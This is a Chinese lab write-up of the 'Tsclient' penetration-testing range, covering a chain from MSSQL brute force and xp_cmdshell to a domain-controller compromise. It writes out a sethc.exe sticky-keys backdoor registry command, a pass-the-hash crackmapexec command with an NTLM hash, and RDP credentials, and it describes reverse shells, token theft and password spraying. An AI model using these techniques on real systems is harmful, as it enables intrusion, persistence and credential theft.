感觉已经国赛已经寄了 四川旅游计划 启动

春秋云镜-Tsclient

外网

先扫描端口

image-20240713131250829

尝试爆破mssql的账号密码

image-20240713133854277

得到密码为1qaz!QAZ 成功登录mssql

image-20240713133941858

激活xpcmdshell 成功执行命令

image-20240713134223425

msf生成shell 反弹到自己的vps上面来

image-20240713141040753

使用msf自动提权

image-20240713141115590

得到第一个flag

image-20240713141319513

搭建隧道 把流量传出来

image-20240713143723608

image-20240713143715181

扫描内网

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[*] 172.22.8.31          XIAORANG\WIN19-CLIENT      
[*] 172.22.8.15    [+]DC XIAORANG\DC01              
[*] WebTitle:http://172.22.8.18        code:200 len:703    title:IIS Windows Server
NetInfo:
[*]172.22.8.18
   [->]WIN-WEB
   [->]172.22.8.18
   [->]2001:0:348b:fb58:3c9d:2e4a:d89d:b62b
NetInfo:
[*]172.22.8.46
   [->]WIN2016
   [->]172.22.8.46
NetInfo:
[*]172.22.8.31
   [->]WIN19-CLIENT
   [->]172.22.8.31
NetInfo:
[*]172.22.8.15
   [->]DC01
   [->]172.22.8.15
[*] 172.22.8.46          XIAORANG\WIN2016           Windows Server 2016 Datacenter 14393
[*] WebTitle:http://172.22.8.46        code:200 len:703    title:IIS Windows Server
[+] mssql:172.22.8.18:1433:sa 1qaz!QAZ

172.22.8.18 是当前主机 存在dc和WIN2016

执行net user

image-20240713144725618

发现存在一个john用户

使用hashdump 取出用户的hash

image-20240713144808640

没啥思路 看看wp

得知需要模拟 John 用户的令牌, 并访问 \\tsclient共享 (172.22.8.31

使用msf获取用户令牌

先使用提权到system的用户 再弹一次shell

然后使用incognito 劫持令牌

image-20240713153804140

获取劫持到的john令牌 登入

image-20240713153850980

可以查看挂载了那些盘

image-20240713153932094

读取credential.txt

image-20240713154008090

172.22.8.46

密码喷洒 寻找账号密码

image-20240713154335244

尝试登录

image-20240713154847198

使用linux试试看

1
proxychains rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab -p 'test@123'  -r disk:LinuxPictures=/home/kali/桌面/rdp

成功登录46 绑定注册表

1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe"

提权

image-20240713160401776

得到flag2

利用mimikatz读取hash

image-20240713162852379

172.22.8.15

hash 传递登录域控获取flag

1
proxychains crackmapexec smb 172.22.8.15 -U Administrator -H c9d81bdcf3ec8b1def10328a7cc2f08 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

成功获取flag3

image-20240713164418074